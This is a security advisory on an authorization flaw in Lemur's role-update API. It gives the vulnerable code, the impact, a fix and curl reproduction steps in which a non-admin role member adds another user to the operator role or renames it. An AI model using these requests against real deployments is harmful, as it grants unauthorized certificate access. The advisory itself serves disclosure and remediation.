Lemur Privilege Escalation: Non-admin role members can rewrite role membership via PUT /api/1/roles/ ## Summary The `PUT /api/1/roles/` handler in `lemur/roles/views.py` gates only on `RoleMemberPermission(role_id).can()`, which is satisfied for any user who is already a member of the target role. The handler then passes `data["users"]` and `data["name"]` directly to `service.update()`, permitting any role member to rewrite that role's membership list and name. The companion `DELETE` handler on the same resource is correctly gated by `@admin_permission.require`; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice. ## Root Cause `lemur/roles/views.py:298`: ```python permission = RoleMemberPermission(role_id) if permission.can(): return service.update( role_id, data["name"], data.get("description"), data.get("users") ) return dict(message="You are not authorized to modify this role."), 403 @admin_permission.require(http_exception=403) def delete(self, role_id): ... ``` `lemur/auth/permissions.py:56`: ```python class RoleMemberPermission(Permission): def __init__(self, role_id): needs = [RoleNeed("admin"), RoleMemberNeed(role_id)] super().__init__(*needs) ``` `flask_principal.Permission.allows()` is OR-semantic across needs, so `RoleMemberPermission(role_id).can()` returns `True` if the caller is either an admin **or** a member of `role_id`. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not. ## Affected Endpoints | Method | Path | Source | |---|---|---| | PUT | /api/1/roles/`` | lemur/roles/views.py:298 | ## Impact A user who is a member of role X can: - **Add other users to role X**, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member. - **Remove other users from role X**, denying their access (availability / governance impact). - **Rename role X** to an arbitrary string. The "rename to admin" path is blocked by the `unique=True` constraint on `Role.name` and by strict equality in `User.is_admin`, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to. ## Remediation Add `@admin_permission.require(http_exception=403)` to `Roles.put`, mirroring the existing decorator on `Roles.delete`: ```python @admin_permission.require(http_exception=403) def put(self, role_id, data=None): ... ``` If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role *ownership* rather than membership, and the `name` field should be excluded from the mutable schema on that delegated path. ## Steps to Reproduce 1. Set up Lemur with default configuration. Create an admin user `admin`, and two non-admin users `alice` and `bob`. Add `alice` to the built-in `operator` role; leave `bob` with no roles or with `read-only` only. 2. Authenticate as `alice` and capture the JWT: ``` curl -X POST https://lemur.local/api/1/auth/login \ -H "Content-Type: application/json" \ -d '{"username":"alice","password":""}' ``` 3. Confirm the initial state - `bob` is not a member of `operator`: ``` curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer " # observe: alice present in users list, bob absent ``` 4. As `alice`, send a PUT that injects `bob` into the `operator` role: ``` curl -X PUT https://lemur.local/api/1/roles/ \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ -d '{ "name": "operator", "description": "modified by alice", "users": [{"id": }, {"id": }] }' # observe: HTTP 200 ``` 5. Confirm `bob` is now a member of `operator`: ``` curl https://lemur.local/api/1/roles?filter=name;operator \ -H "Authorization: Bearer " # observe: bob now present in users list ``` Step 4 succeeds despite `alice` not being an admin. The same handler also accepts a `name` field; substituting `"name": "operator_v2"` in step 4 renames the role, demonstrating the second variant of the bug.

CVE-2026-55163 Blast Radius

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